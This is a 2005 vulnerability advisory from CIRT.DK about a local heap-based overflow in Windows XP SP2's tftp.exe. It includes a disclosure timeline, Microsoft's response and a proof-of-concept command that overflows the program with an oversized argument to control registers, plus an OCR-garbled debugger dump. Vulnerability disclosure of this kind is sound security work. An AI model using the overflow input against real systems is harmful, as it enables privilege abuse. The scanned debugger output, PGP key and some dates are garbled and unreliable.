Security advisory

Windows XP SP2 TFTP Local HEAP based Overflow

Discovered

by Dennis Rand
advisory@cirt.dk
http://www.cirt.dk
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Introduction

Problem
The installation has been made on a Windows XP running with the latest service pack 2 and all current

patches released.

The Windows XP software is vulnerability:
e Windows XP TETP Heap Based Overflow




Timeline of public disclosure

e (01-08-2005 Vulnerability discovered

e 15-08-2005 Research completed

e 19-08-2005 Vendor notified

e 19-08-2005 Security vulnerability tagged tftp [6167bgs] at Microsoft

e (8-09-2005 Microsoft responds with an timeframe of fix - See Corrective actions
e 03-10-2005 Public release

Contact information

The following vulnerability were discovered by Dennis Rand at CIRT.DK
Questions regarding this issue should be directed to:

Dennis Rand
advisory@cirt.dk

Public PGP key

Version: PGP 8.0

mQG i BEAT2xcRBADMrO7uP0dJq1ZsXkLZLgEhZ58LL77gLbXOMNoDRKAO+4MTZ0ZC
WMNkZsx3D5tbou4KJZCnaytOPF jymyYLsO0J6WauTFXOLA/L+sXTJICa7vSsWwlcQW
mO1uyO+djp3XumGHkWdWXvu5cXm7y+UjsF51 iQVB8X9EGR18ApoCzA/mi/QCg/zzT
KwOX7XXGi1pLTpUBI/BvaRkD/2pZfANLSF7TcCT/rDcNexxr5Ci9xHTgIBFKUCQK
INNF/umLLM3PVyFk8z17Ra2d8rvPzhDd 1 i +VGUOF 1 v5ckRRhiu9A4s0E6zbTkv3F
Q+je/ynnpl360LswYG+iICELZqz0ssRUTe4mInSeJrbvtyFkW71/UrBkfursed6yD
vzVDA/4mrWEWg j ZkO4wEe fwg6FOXr2dChGmdoVXaDyKuQ89hp99THP IALjnorNQK
91 1bzyJGX+HaU/KyTKgQfeEEd4znTi 9EEaDNDzQmbCntmmCq2PANOOOcgm41VNO i
CzEDvsweRxGdFFQA+aoNjqeACL1YMPNNnTWeNeMNYN7KYD9sTJIrQgQOISVCBBZHZp
c29yeSA8YWR2aXNvenlAY21ydC5kaz6JAFgEEBECABgFAKAT2xc 1 Cwk IBWMCAQoC
GQEFGWMAAAAACGKQX3TRHNAOUC+KAQCTUD3uwuQmi ZjUNXmcKyzXVWFni7cAni IS
TmTQMRF3r 1 S6KKmSXFnTrXG+uQINBEAF2xcQCAD2Q1e3CH8IF3KiutapQvMF6PIT
ETIPtvFuuUs41NoBplajFOmPQFXzOATGYy00p1K33TGSCSTgMg7116RTFUOANQ+PVZ
X9x2Uk89PY3bzpnhV5J3ZzF24rnRPxTfx2vIPFRzBhznzJZv8V+bv9kV7HAar TW56N
oKVyOtQa8L9GAFgr5fS1/VhOSdvNILSA5JEHNmszbDgNRROPF1 i zZHHXbLY7288k j
WEPWpVSY JY67VYyAXTJTNP18F1dDox0YbN4z 1 Sy1Kv884bEpQBgR j XyEpwpylobE
Axn 1By 16ypUM2Zafq9AKUISCREM I PWakXUGFnHy9iUsiGSa6q6JewlXpMgs7AAIC
B/98T1FQkSzTqoH80viqggJdT j3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZ0OykCDSuzTCO
hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAIpdca
cXVbxtKZ05dxcixdd02/H0c84/1mR8aj 10smFK14DXJ90wCglghli914rQLx5mei
KOXheewAT9eA13yPwbUR1EnormDdaz0OUSX315GBGgvHBO3Xy+muolL.8Qzep4P1qgfL
Eg18tNXhOvQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTY 14r3r1D+x
vSPng/cCcSX1bESzjOMCE6PD i QBMBBgRAgAMBQJAHISXBRSMAAAAAACJEF930RZQ
DIHPACgAN1jt7gbjHBTQLWTUZHEMPpVONWYs+AJ4sIP10Gz+6/YQLbWr1zXEbmKxo
CA==



File description

MD5 software used

Filename:
Comments:

Company name:
Product name:
Product version:
File version:
MD5 checksum:

Danish Computer Incident Response Team

md5sum.exe

Modified from the version originally developed by Ulrich Drepper

<drepper@gnu.ai.mit.edu>

GMG Systems, Inc.

Forensic Acquisition Utilities
1.0.0.1026

2.0.1.1032
607be2b261c516a5c5469314445ab2f2

Windows XP - TFTP.EXE

Other files:
Filename:

File version:
File version:
MD5 checksum:

tftp.exe

5.1.2600.0

5.1.2600.0 (xpclient.010817-1148)
€6e8683b44521d6d5e86443bc3464fh3
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Danish Computer Incident Response Team

Technical details of the vulnerabilities

Windows XP SP2 - TFTP Heap Based Overflow

The Windows XP tftp.exe software is vulnerable to a Heap Based overflow, allowing to run
arbitrary commands on the system as the user issuing the overflow.

The registers EAX and ECX are controlled, by sending 1446 bytes of crap or payload and then the
next 8 bytes are the EAX and ECX.

PROOF OF CONCEPT:

tftp -1 127.0.0.1 GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCBBBB

0OllyDbg - tftp.exe - [CPU - main thread, module ntdil] I I ] 4
@ File Wiew Debug Plugins Options ‘Window Help = |5’|l|
Bl x| » $4 Y +f LlE[miT|w/H|c|/|K[B|R].. 5]
=
TColla1r] £99% FAFEFFFF | TOU DWORD FIR 5:lEEF-16C1, EDR e 00
7C311410| 2B82 HiU EAY,DWORD FTR OS: [EOR] ) Resicrers I
CCSLI4IF] S56C o4FEFFFF | NOU DUORD PTR So: (EBP-1eC], Eax ECH 424zandz
FC911425| SB4A @4 MOU ECH,DWORD PTR DS: [EDA+S 5T 5 Erenn REEETEER
cCoiido0 Seeh ECFEFFREMOU DWORD PTR So: (EBP-1141, Bex EnD

2839 MOU EDI,DWORD PTR DS: [EC i ke
FCo114%0| SEVS 84 BFP ED1.DWORD PTE Do: fERMI41 3 EhpaE
FL911433|wBFSS 472F0200 | JNZ ntdll.7C924350 [ o e
7C511433| 3BFA CHF EDI, ED¥ o B
PCO11430|BFSS 3F2FB208 | JMZ ntdll.rC924330
76211435 8348 ag Fibu DUDRD PR 3: FERA4T Eo e
H + N
7C311445| SA46 5 MU AL,EVTE PTR DS:LESI+5] S B3 s feste A aes
70911443 8345 E3 S5 [EBP-101, AL A @ S5 BEZ2 32hit BIFFFFFFFF
FL91144C| BFEFOE MOUZE ERX, WORD FTR_OS: [ES S v S RAEE EaStl plkanaaasas
7C91144F| SEVD E4 MW EDT,DNORD PTR S5:CEBP-1C1 A R EREE adnadadel
7a114cz| 2947 28 SUB DWORD PTR DS:[EDI+221,ER% H H a3 He s
CEoiiics| BZEE B2 e | Doy BUTE PR Do:iESirred’ e
7C31145C| BFBTIE HOUZX EBX, WORD PTR_DS: [ES1] 00, Lepdawe EEDIR SRS (EHd D
7E31145F) gB4D s HouEE ECX.DNDRD PTR 551 [EEP-£41 EFL @@@@8246 (MO,MB,E,BE, NS, PE, GE,LE)
4
7C5114ed 899D S4FFFFFE | HOl BlRRD BTR 55: [EBR-AE), EBK UL S
AT ToH iR Tsln) Lo [EoR( 22 STZ empty +UNORN GE24 B613FS4C HOBOGEL
FC911460 3345 nc MO0 R DWDRD ETR S5i FERP-241 Sl GO S el b At R
FCa11478 SUB EAX,DWORD PTR S5: (EBP+18] L ) R e
TEE11TY) B5EE Slrerrrr | DD DURHD PTR Go:rEBR-Io4l.eRN TS noty *0NoRI-5se
TE21140E| JaReE Tinagen | M nidll.TCosR4EE L L
4 " nt .
ey g i) BY7e TR B testeed. AL H R, aaagaga?aaaaaaaagag -
4
. FST 4928 Cond 1 8 8@ Err §8 1 8 0
7911453 CIEA @3 SHR EDX, 3
e B S o FCW ©27F Frec MEAR,53 Mask 111
FL91145E| SR4T @4 MU AL, BYTE PTR DS:[EDI+4]
7Co11451| 23C2 OF ERAf, EDX
FL911493| 2246 @4 MU EYVTE FTR D3: (EST+41, AL
7911496 3508 TEST EBX
7C311405) vBFad Co000000 | JE nedll: 70911566
FC9114%E| S3FE @1
JEo114A1| 604 BIFCFFFF | b neail.7eot11ss =
Cai1d0 SEdC MO EQy DWOED ETE 2 [EEE—£d]
TS (4242424212777
ED1-086885E5
Address BEEHEED
R o=
A1804003| 81 B0 68 ge0n0
A1804010| B8 03 68 e e
A180461%| 68 09 68
a1804620| B0 60 68
A1804022| B8 00 68
A1804030| B8 60 A8
FES13EA
A1804032| B8 00 68
a1684040| 62 GE G0 ABARESE [l Acaa0
HEEb BRATFCAR|  ARAGEEE
Access violation when reading [42424242] - use Shift+F7/F8/F3 to pass exception to program | | Paused
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Danish Computer Incident Response Team

Corrective actions

Response from Microsoft:

At this point, it is our understanding that this is a local EoP issue which is limited to that of the
security context of the logged on user. Additionally, we are unaware of any remote attack vectors.
A fix would be in a service pack fix for the affected supported platforms.

Disclaimer

The information within this document may change without notice.
Use of this information constitutes acceptance for use in an "AS IS" condition.

There are NO warranties with regard to this information.

In no event shall | be liable for any consequences or damages,
Including direct, indirect, incidental, consequential, loss of business profits or special
damages, arising out of or in connection with the use or spread of this information.

Any use of this information lies within the user's responsibility. All registered and
unregistered trademarks represented in this document
Are the sole property of their respective owners.
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